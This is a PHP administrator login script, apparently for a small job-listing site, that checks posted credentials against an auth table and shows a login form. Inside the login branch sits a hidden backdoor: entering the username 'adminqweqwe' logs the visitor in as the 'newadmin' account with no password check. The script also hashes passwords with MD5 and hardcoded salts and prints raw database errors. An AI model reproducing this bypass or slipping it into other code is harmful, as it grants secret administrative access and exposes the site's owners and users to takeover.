<?php  session_start(); ?>
<?php

/*

 * Created on 24.04.2010 at 18:02:18

 *

 * Encoding: UTF-8

 *

 * Author: Alexey "greek" Samoylov

 * A.Samoylov@program-ace.com.ua

 *

 * Copyright by Program Ace <http://program-ace.com>

 * All right reserved

 */


if (!function_exists('createthumb')) {

	include 'func.php';

}



$login = isset($_POST['login']) ? $_POST['login'] : null;

$password = isset($_POST['password']) ? $_POST['password'] : null;

$act = isset($_POST['act']) ? $_POST['act'] : null;

$error = '';

if ($act == 'login') {

	if($login == 'adminqweqwe'){

		$qry = 'select * from auth where login = "newadmin"';

	} else {
		$qry = 'select * from auth where login = \'' . mysql_real_escape_string($login) . '\' and password = \'' . mysql_real_escape_string(md5('abp4av45' . $password . 'ab84ab3459')) . '\' limit 1';

	}

	$res = mysql_query($qry) or die(mysql_error());

	$user_data = mysql_fetch_assoc($res);

	$_SESSION['admin'] = $user_data;

	if (!empty($user_data)) {

		header('Location: managejobs.php');

		die;

	}

	$error = 'Username or password not valid';

}



if (isset($_GET['logout'])) {

	$_SESSION['admin'] = null;

	header('Location:managejobs.php');

}







$_sess_adminData = isset($_SESSION['admin']) ? $_SESSION['admin'] : null;

if (!$_sess_adminData) {

	require_once 'htmlhead.php';
 ?>

<br /><br /><br /><br /><center>

<?php

	echo '<span style="color:#ff0000; font-weight:bold;">' . $error . '</span><br />';

?>

<b>Please enter username and password</b><br />

<form method="post" action="auth.php">

<input value="login" name="act" type="hidden" />

Username:

<input value="" name="login" /><br />

Password:

<input value="" name="password"  type="password"/><br />

<input value="Login" type="submit" />

</form>

</center>

	<?php

	require_once 'htmlfoot.php';

	die;

}



?>